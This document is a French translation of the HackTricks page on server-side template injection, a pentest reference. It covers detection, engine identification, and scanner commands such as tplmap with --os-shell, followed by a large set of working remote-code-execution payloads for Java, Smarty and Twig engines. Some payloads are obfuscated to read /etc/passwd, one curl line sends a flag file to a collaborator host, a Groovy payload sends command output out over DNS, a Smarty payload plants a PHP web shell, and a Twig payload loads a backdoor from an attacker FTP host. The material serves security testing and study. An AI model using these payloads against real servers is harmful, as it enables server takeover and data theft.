mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-13 23:02:57 +00:00
992 lines
48 KiB
Markdown
992 lines
48 KiB
Markdown
# SSTI (Injection de modèle côté serveur)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
||
Autres façons de soutenir HackTricks:
|
||
|
||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## Qu'est-ce que l'injection de modèle côté serveur?
|
||
|
||
Une injection de modèle côté serveur se produit lorsqu'un attaquant est capable d'utiliser la syntaxe de modèle native pour injecter une charge malveillante dans un modèle, qui est ensuite exécuté côté serveur.
|
||
|
||
Les **moteurs de modèles** sont conçus pour **générer des pages web** en **combinant** des **modèles fixes** avec des **données volatiles**. Les attaques par injection de modèle côté serveur peuvent se produire lorsque **l'entrée utilisateur** est concaténée directement **dans un modèle**, plutôt que transmise en tant que données. Cela permet aux attaquants d'**injecter des directives de modèle arbitraires** afin de manipuler le moteur de modèle, leur permettant souvent de prendre **le contrôle complet du serveur**.
|
||
|
||
Un exemple de code vulnérable est le suivant:
|
||
```php
|
||
$output = $twig->render("Dear " . $_GET['name']);
|
||
```
|
||
Dans l'exemple précédent **une partie du modèle** est générée de manière **dynamique** en utilisant le paramètre `GET` `name`. Comme la syntaxe du modèle est évaluée côté serveur, cela permet potentiellement à un attaquant d'insérer une charge utile d'injection de modèle côté serveur dans le paramètre `name` comme suit :
|
||
```
|
||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||
```
|
||
## Construction d'une attaque d'injection de modèle côté serveur
|
||
|
||
![](../../.gitbook/assets/ssti-methodology-diagram.png)
|
||
|
||
### Détecter
|
||
|
||
Comme pour toute vulnérabilité, la première étape vers l'exploitation est de pouvoir la trouver. Peut-être l'approche initiale la plus simple est d'essayer de **fuzzer le modèle** en injectant une séquence de caractères spéciaux couramment utilisés dans les expressions de modèle, tels que le polyglotte **`${{<%[%'"}}%\`.**\
|
||
Pour vérifier si le serveur est vulnérable, vous devriez **repérer les différences** entre la réponse avec des **données régulières** sur le paramètre et la **charge utile donnée**.\
|
||
Si une **erreur est renvoyée**, il sera assez facile de comprendre que **le serveur est vulnérable** et même quel **moteur est en cours d'exécution**. Mais vous pourriez également trouver un serveur vulnérable si vous vous y **attendiez** à ce qu'il **reflète** la charge utile donnée et qu'il ne le fait pas ou s'il y a des **caractères manquants** dans la réponse.
|
||
|
||
**Détecter - Contexte en texte brut**
|
||
|
||
L'entrée donnée est **rendue et reflétée** dans la réponse. Cela peut facilement être **confondu avec une vulnérabilité** [**XSS**](../xss-cross-site-scripting/) simple, mais il est facile de différencier si vous essayez de définir des **opérations mathématiques** dans une expression de modèle:
|
||
```
|
||
{{7*7}}
|
||
${7*7}
|
||
<%= 7*7 %>
|
||
${{7*7}}
|
||
#{7*7}
|
||
*{7*7}
|
||
```
|
||
**Détecter - Contexte du code**
|
||
|
||
Dans ces cas, **l'entrée de l'utilisateur** est placée **à l'intérieur** d'une **expression de modèle** :
|
||
```python
|
||
engine.render("Hello {{"+greeting+"}}", data)
|
||
```
|
||
L'URL d'accès à cette page pourrait être similaire à : `http://vulnerable-website.com/?greeting=data.username`
|
||
|
||
Si vous **modifiez** le paramètre **`greeting`** pour une **valeur différente**, la **réponse ne contiendra pas le nom d'utilisateur**, mais si vous accédez à quelque chose comme : `http://vulnerable-website.com/?greeting=data.username}}hello`, alors **la réponse contiendra le nom d'utilisateur** (si les caractères d'expression de modèle de fermeture étaient **`}}`**).\
|
||
Si une **erreur** se produit pendant ces tests, il sera plus facile de déterminer que le serveur est vulnérable.
|
||
|
||
### Identifier
|
||
|
||
Une fois que vous avez détecté le potentiel d'injection de modèle, la prochaine étape consiste à identifier le moteur de modèle.\
|
||
Bien qu'il existe un grand nombre de langages de modélisation, beaucoup d'entre eux utilisent une syntaxe très similaire spécialement choisie pour ne pas entrer en conflit avec les caractères HTML.
|
||
|
||
Si vous avez de la chance, le serveur **affichera les erreurs** et vous pourrez trouver le **moteur** utilisé **à l'intérieur** des erreurs. Voici quelques charges utiles possibles qui peuvent provoquer des erreurs :
|
||
|
||
| `${}` | `{{}}` | `<%= %>` |
|
||
| ----------- | ------------ | --------------- |
|
||
| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` |
|
||
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
|
||
| `${7*7}` | `{{7*7}}` | \`\` |
|
||
|
||
Sinon, vous devrez tester manuellement **différentes charges utiles spécifiques à chaque langage** et étudier comment elles sont interprétées par le moteur de modèle. Une méthode courante pour ce faire est d'injecter des opérations mathématiques arbitraires en utilisant la syntaxe de différents moteurs de modèle. Vous pouvez ensuite observer s'ils sont évalués avec succès. Pour vous aider dans ce processus, vous pouvez utiliser un arbre de décision similaire au suivant :
|
||
|
||
![](<../../.gitbook/assets/image (272).png>)
|
||
|
||
### Exploiter
|
||
|
||
**Lire**
|
||
|
||
La première étape après avoir trouvé une injection de modèle et identifié le moteur de modèle est de lire la documentation. Les domaines clés d'intérêt sont :
|
||
|
||
* Les sections 'Pour les auteurs de modèles' couvrant la syntaxe de base.
|
||
* 'Considérations de sécurité' - il est probable que la personne ayant développé l'application que vous testez n'a pas lu ceci, et cela peut contenir des indices utiles.
|
||
* Listes des méthodes, fonctions, filtres et variables intégrés.
|
||
* Listes des extensions/plugins - certains peuvent être activés par défaut.
|
||
|
||
**Explorer**
|
||
|
||
En supposant qu'aucune faille n'ait été présentée, la prochaine étape est d'**explorer l'environnement** pour découvrir exactement à quoi **vous avez accès**. Vous pouvez vous attendre à trouver à la fois des **objets par défaut** fournis par le moteur de modèle, et des **objets spécifiques à l'application** transmis au modèle par le développeur. De nombreux systèmes de modèles exposent un objet 'self' ou un objet d'espace de noms contenant tout ce qui est en cours, et une manière idiomatique de lister les attributs et méthodes d'un objet.
|
||
|
||
S'il n'y a pas d'objet self intégré, vous devrez deviner les noms de variables en utilisant [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) et la collection de listes de mots de Burp Intruder.
|
||
|
||
Les objets fournis par le développeur sont particulièrement susceptibles de contenir des informations sensibles, et peuvent varier entre différents modèles au sein d'une application, donc ce processus devrait idéalement être appliqué à chaque modèle distinct individuellement.
|
||
|
||
**Attaquer**
|
||
|
||
À ce stade, vous devriez avoir une **idée précise de la surface d'attaque** à votre disposition et être en mesure de procéder avec des techniques d'audit de sécurité traditionnelles, en passant en revue chaque fonction pour des vulnérabilités exploitables. Il est important d'aborder cela dans le contexte de l'application plus large - certaines fonctions peuvent être utilisées pour exploiter des fonctionnalités spécifiques à l'application. Les exemples à suivre utiliseront l'injection de modèle pour déclencher la création arbitraire d'objets, la lecture/écriture de fichiers arbitraires, l'inclusion de fichiers à distance, la divulgation d'informations et les vulnérabilités d'escalade de privilèges.
|
||
|
||
## Outils
|
||
|
||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||
|
||
un scanner efficace de SSTI + CSTI qui utilise des polyglottes novateurs
|
||
```bash
|
||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||
```
|
||
### [SSTImap](https://github.com/vladko312/sstimap)
|
||
```bash
|
||
python3 sstimap.py -i -l 5
|
||
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
|
||
python3 sstimap.py -u 'https://example.com/page?name=John' -s
|
||
```
|
||
### [Tplmap](https://github.com/epinna/tplmap)
|
||
```python
|
||
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||
```
|
||
### [Tableau d'injection de modèle](https://github.com/Hackmanit/template-injection-table)
|
||
|
||
un tableau interactif contenant les polyglottes d'injection de modèle les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèle les plus importants.
|
||
|
||
## Exploits
|
||
|
||
### Générique
|
||
|
||
Dans cette **liste de mots**, vous pouvez trouver les **variables définies** dans les environnements de certains des moteurs mentionnés ci-dessous :
|
||
|
||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||
|
||
### Java
|
||
|
||
**Java - Injection de base**
|
||
```java
|
||
${7*7}
|
||
${{7*7}}
|
||
${class.getClassLoader()}
|
||
${class.getResource("").getPath()}
|
||
${class.getResource("../../../../../index.htm").getContent()}
|
||
```
|
||
**Java - Récupérer les variables d'environnement du système**
|
||
```java
|
||
${T(java.lang.System).getenv()}
|
||
```
|
||
**Java - Récupérer /etc/passwd**
|
||
```java
|
||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||
|
||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||
```
|
||
### FreeMarker (Java)
|
||
|
||
Vous pouvez essayer vos charges utiles sur [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
|
||
|
||
* `{{7*7}} = {{7*7}}`
|
||
* `${7*7} = 49`
|
||
* `#{7*7} = 49 -- (legacy)`
|
||
* `${7*'7'} Rien`
|
||
* `${foobar}`
|
||
```java
|
||
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
|
||
${"freemarker.template.utility.Execute"?new()("id")}
|
||
|
||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||
```
|
||
**Freemarker - Contournement du bac à sable**
|
||
|
||
⚠️ fonctionne uniquement sur les versions de Freemarker inférieures à 2.3.30
|
||
```java
|
||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
|
||
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
|
||
${dwf.newInstance(ec,null)("id")}
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* Dans la section FreeMarker de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||
|
||
### Velocity (Java)
|
||
```java
|
||
#set($str=$class.inspect("java.lang.String").type)
|
||
#set($chr=$class.inspect("java.lang.Character").type)
|
||
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
|
||
$ex.waitFor()
|
||
#set($out=$ex.getInputStream())
|
||
#foreach($i in [1..$out.available()])
|
||
$str.valueOf($chr.toChars($out.read()))
|
||
#end
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* Dans la section Velocity de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||
|
||
### Thymeleaf (Java)
|
||
|
||
L'expression de test typique pour SSTI est `${7*7}`. Cette expression fonctionne également dans Thymeleaf. Si vous souhaitez obtenir une exécution de code à distance, vous pouvez utiliser l'une des expressions de test suivantes :
|
||
|
||
* SpringEL : `${T(java.lang.Runtime).getRuntime().exec('calc')}`
|
||
* OGNL : `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
|
||
|
||
Cependant, comme mentionné précédemment, les expressions ne fonctionnent que dans des attributs spéciaux de Thymeleaf. S'il est nécessaire d'utiliser une expression à un emplacement différent dans le modèle, Thymeleaf prend en charge l'_insertion d'expression_. Pour utiliser cette fonctionnalité, vous devez placer une expression entre `[[...]]` ou `[(...)]` (choisissez l'un ou l'autre en fonction de la nécessité d'échapper aux symboles spéciaux). Par conséquent, une charge utile de détection SSTI simple pour Thymeleaf serait `[[${7*7}]]`.
|
||
|
||
Cependant, il est peu probable que la charge utile de détection ci-dessus fonctionne. Les vulnérabilités SSTI se produisent généralement lorsqu'un modèle est généré dynamiquement dans le code. Thymeleaf, par défaut, ne permet pas de tels modèles générés dynamiquement et tous les modèles doivent être créés au préalable. Par conséquent, si un développeur souhaite créer un modèle à partir d'une chaîne _sur le vif_, il devrait créer son propre TemplateResolver. C'est possible mais cela se produit très rarement.
|
||
|
||
Si nous examinons de plus près la documentation du moteur de modèle Thymeleaf, nous trouverons une fonctionnalité intéressante appelée _**prétraitement des expressions**_. Les expressions placées entre deux tirets bas (`__...__`) sont prétraitées et le résultat du prétraitement est utilisé comme partie de l'expression lors du traitement régulier. Voici un exemple officiel de la documentation de Thymeleaf :
|
||
```java
|
||
#{selection.__${sel.code}__}
|
||
```
|
||
**Exemple vulnérable**
|
||
```markup
|
||
<a th:href="@{__${path}__}" th:title="${title}">
|
||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||
|
||
http://localhost:8082/(7*7)
|
||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
|
||
|
||
{% content-ref url="el-expression-language.md" %}
|
||
[el-expression-language.md](el-expression-language.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Cadre Spring (Java)
|
||
```java
|
||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||
```
|
||
**Contourner les filtres**
|
||
|
||
Plusieurs expressions de variables peuvent être utilisées, si `${...}` ne fonctionne pas, essayez `#{...}`, `*{...}`, `@{...}` ou `~{...}`.
|
||
|
||
* Lire `/etc/passwd`
|
||
```java
|
||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||
```
|
||
* Script personnalisé pour la génération de payload
|
||
```python
|
||
#!/usr/bin/python3
|
||
|
||
## Written By Zeyad Abulaban (zAbuQasem)
|
||
# Usage: python3 gen.py "id"
|
||
|
||
from sys import argv
|
||
|
||
cmd = list(argv[1].strip())
|
||
print("Payload: ", cmd , end="\n\n")
|
||
converted = [ord(c) for c in cmd]
|
||
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
|
||
end_payload = '.getInputStream())}'
|
||
|
||
count = 1
|
||
for i in converted:
|
||
if count == 1:
|
||
base_payload += f"(T(java.lang.Character).toString({i}).concat"
|
||
count += 1
|
||
elif count == len(converted):
|
||
base_payload += f"(T(java.lang.Character).toString({i})))"
|
||
else:
|
||
base_payload += f"(T(java.lang.Character).toString({i})).concat"
|
||
count += 1
|
||
|
||
print(base_payload + end_payload)
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
|
||
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
|
||
|
||
### Manipulation de la vue Spring (Java)
|
||
```java
|
||
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
|
||
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
|
||
```
|
||
* [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation)
|
||
|
||
{% content-ref url="el-expression-language.md" %}
|
||
[el-expression-language.md](el-expression-language.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Pebble (Java)
|
||
|
||
* `{{ someString.toUPPERCASE() }}`
|
||
|
||
Ancienne version de Pebble ( < version 3.0.9):
|
||
```java
|
||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||
```
|
||
Nouvelle version de Pebble :
|
||
```java
|
||
{% raw %}
|
||
{% set cmd = 'id' %}
|
||
{% endraw %}
|
||
|
||
|
||
|
||
|
||
|
||
{% set bytes = (1).TYPE
|
||
.forName('java.lang.Runtime')
|
||
.methods[6]
|
||
.invoke(null,null)
|
||
.exec(cmd)
|
||
.inputStream
|
||
.readAllBytes() %}
|
||
{{ (1).TYPE
|
||
.forName('java.lang.String')
|
||
.constructors[0]
|
||
.newInstance(([bytes]).toArray()) }}
|
||
```
|
||
### Jinjava (Java)
|
||
|
||
Jinjava est un moteur de template Java qui prend en charge l'injection de template côté serveur (SSTI). Il est utilisé pour traiter les modèles et peut être vulnérable aux attaques SSTI si des entrées utilisateur non filtrées sont incluses dans les modèles. Assurez-vous de valider et de filtrer toutes les entrées utilisateur pour éviter les attaques SSTI.
|
||
```java
|
||
{{'a'.toUpperCase()}} would result in 'A'
|
||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||
```
|
||
**Jinjava - Exécution de commandes**
|
||
|
||
Corrigé par [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
|
||
```java
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava)
|
||
|
||
### Hubspot - HuBL (Java)
|
||
|
||
* Délimiteurs d'instructions `{% %}`
|
||
* Délimiteurs d'expressions `{{ }}`
|
||
* Délimiteurs de commentaires `{# #}`
|
||
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||
* `{{'a'.toUpperCase()}}` - "A"
|
||
* `{{'a'.concat('b')}}` - "ab"
|
||
* `{{'a'.getClass()}}` - java.lang.String
|
||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||
|
||
Recherche de "com.hubspot.content.hubl.context.TemplateContextRequest" et découverte du [projet Jinjava sur Github](https://github.com/HubSpot/jinjava/).
|
||
```java
|
||
{{request.isDebug()}}
|
||
//output: False
|
||
|
||
//Using string 'a' to get an instance of class sun.misc.Launcher
|
||
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
|
||
//output: sun.misc.Launcher@715537d4
|
||
|
||
//It is also possible to get a new object of the Jinjava class
|
||
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
|
||
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
|
||
|
||
//It was also possible to call methods on the created object by combining the
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
{% raw %}
|
||
{% %} and {{ }} blocks
|
||
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
|
||
{% endraw %}
|
||
|
||
|
||
{{ji.render('{{1*2}}')}}
|
||
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
|
||
|
||
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||
//output: xxx
|
||
|
||
//RCE
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
||
//output: java.lang.UNIXProcess@1e5f456e
|
||
|
||
//RCE with org.apache.commons.io.IOUtils.
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
//output: netstat execution
|
||
|
||
//Multiple arguments to the commands
|
||
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
||
|
||
### Langage d'Expression - EL (Java)
|
||
|
||
* `${"aaaa"}` - "aaaa"
|
||
* `${99999+1}` - 100000.
|
||
* `#{7*7}` - 49
|
||
* `${{7*7}}` - 49
|
||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||
|
||
EL fournit un mécanisme important pour permettre à la couche de présentation (pages web) de communiquer avec la logique de l'application (beans gérés). L'EL est utilisé par **plusieurs technologies JavaEE**, telles que la technologie JavaServer Faces, la technologie JavaServer Pages (JSP) et l'Injection de Contextes et Dépendances pour Java EE (CDI).\
|
||
Consultez la page suivante pour en savoir plus sur l'**exploitation des interpréteurs EL**:
|
||
|
||
{% content-ref url="el-expression-language.md" %}
|
||
[el-expression-language.md](el-expression-language.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Groovy (Java)
|
||
|
||
Les contournements du gestionnaire de sécurité suivants ont été tirés de ce [**article**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||
```java
|
||
//Basic Payload
|
||
import groovy.*;
|
||
@groovy.transform.ASTTest(value={
|
||
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
|
||
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
|
||
})
|
||
def x
|
||
|
||
//Payload to get output
|
||
import groovy.*;
|
||
@groovy.transform.ASTTest(value={
|
||
cmd = "whoami";
|
||
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
|
||
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
|
||
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
|
||
})
|
||
def x
|
||
|
||
//Other payloads
|
||
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
|
||
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
|
||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||
```
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
##
|
||
|
||
### Smarty (PHP)
|
||
```php
|
||
{$smarty.version}
|
||
{php}echo `id`;{/php} //deprecated in smarty v3
|
||
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
|
||
{system('ls')} // compatible v3
|
||
{system('cat index.php')} // compatible v3
|
||
```
|
||
**Plus d'informations**
|
||
|
||
* Dans la section Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
|
||
|
||
### Twig (PHP)
|
||
|
||
* `{{7*7}} = 49`
|
||
* `${7*7} = ${7*7}`
|
||
* `{{7*'7'}} = 49`
|
||
* `{{1/0}} = Error`
|
||
* `{{foobar}} Nothing`
|
||
```python
|
||
#Get Info
|
||
{{_self}} #(Ref. to current application)
|
||
{{_self.env}}
|
||
{{dump(app)}}
|
||
{{app.request.server.all|join(',')}}
|
||
|
||
#File read
|
||
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
|
||
|
||
#Exec code
|
||
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
|
||
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
||
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
|
||
